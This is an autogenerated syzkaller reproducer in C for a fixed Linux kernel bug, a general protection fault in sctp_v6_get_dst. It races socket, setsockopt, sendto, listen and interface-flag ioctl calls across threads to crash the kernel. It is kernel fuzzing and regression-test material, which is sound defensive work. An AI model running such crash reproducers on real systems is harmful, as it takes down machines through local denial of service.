syzkaller-repros/linux/1e31ea4c5d35e2a4b4dd4fc85246cda877dde741.c

// general protection fault in sctp_v6_get_dst
// https://syzkaller.appspot.com/bug?id=1e31ea4c5d35e2a4b4dd4fc85246cda877dde741
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

struct thread_t {
  int created, running, call;
  pthread_t th;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;

static void* thr(void* arg)
{
  struct thread_t* th = (struct thread_t*)arg;
  for (;;) {
    while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
      syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
    execute_call(th->call);
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
    syscall(SYS_futex, &th->running, FUTEX_WAKE);
  }
  return 0;
}

static void execute(int num_calls)
{
  int call, thread;
  running = 0;
  for (call = 0; call < num_calls; call++) {
    for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
      struct thread_t* th = &threads[thread];
      if (!th->created) {
        th->created = 1;
        pthread_attr_t attr;
        pthread_attr_init(&attr);
        pthread_attr_setstacksize(&attr, 128 << 10);
        pthread_create(&th->th, &attr, thr, th);
      }
      if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
        th->call = call;
        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
        __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &th->running, FUTEX_WAKE);
        if (collide && call % 2)
          break;
        struct timespec ts;
        ts.tv_sec = 0;
        ts.tv_nsec = 20 * 1000 * 1000;
        syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
        if (running)
          usleep((call == num_calls - 1) ? 10000 : 1000);
        break;
      }
    }
  }
}

long r[3];
void execute_call(int call)
{
  switch (call) {
  case 0:
    syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0);
    break;
  case 1:
    r[0] = syscall(__NR_socket, 2, 0x800000000001, 0x84);
    break;
  case 2:
    *(uint16_t*)0x20730f70 = 0xa;
    *(uint16_t*)0x20730f72 = htobe16(0x4e20);
    *(uint32_t*)0x20730f74 = 0;
    *(uint8_t*)0x20730f78 = 0;
    *(uint8_t*)0x20730f79 = 0;
    *(uint8_t*)0x20730f7a = 0;
    *(uint8_t*)0x20730f7b = 0;
    *(uint8_t*)0x20730f7c = 0;
    *(uint8_t*)0x20730f7d = 0;
    *(uint8_t*)0x20730f7e = 0;
    *(uint8_t*)0x20730f7f = 0;
    *(uint8_t*)0x20730f80 = 0;
    *(uint8_t*)0x20730f81 = 0;
    *(uint8_t*)0x20730f82 = -1;
    *(uint8_t*)0x20730f83 = -1;
    *(uint8_t*)0x20730f84 = 0xac;
    *(uint8_t*)0x20730f85 = 0x14;
    *(uint8_t*)0x20730f86 = 0;
    *(uint8_t*)0x20730f87 = 0xbb;
    *(uint32_t*)0x20730f88 = 0;
    syscall(__NR_setsockopt, r[0], 0x84, 0x64, 0x20730f70, 0x1c);
    break;
  case 3:
    r[1] = syscall(__NR_socket, 0xa, 1, 0x84);
    break;
  case 4:
    memcpy((void*)0x20aaff09, "\xb8", 1);
    *(uint16_t*)0x20abf000 = 0xa;
    *(uint16_t*)0x20abf002 = htobe16(0x4e20);
    *(uint32_t*)0x20abf004 = 0;
    *(uint64_t*)0x20abf008 = htobe64(0);
    *(uint64_t*)0x20abf010 = htobe64(1);
    *(uint32_t*)0x20abf018 = 0;
    syscall(__NR_sendto, r[1], 0x20aaff09, 1, 0, 0x20abf000, 0x1c);
    break;
  case 5:
    syscall(__NR_listen, r[0], 1);
    break;
  case 6:
    r[2] = syscall(__NR_socket, 2, 0x80001, 0);
    break;
  case 7:
    memcpy((void*)0x2003b000,
           "\x6c\x6f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
           16);
    *(uint16_t*)0x2003b010 = 0xfffd;
    syscall(__NR_ioctl, r[2], 0x8914, 0x2003b000);
    break;
  }
}

void loop()
{
  memset(r, -1, sizeof(r));
  execute(8);
  collide = 1;
  execute(8);
}

int main()
{
  loop();
  return 0;
}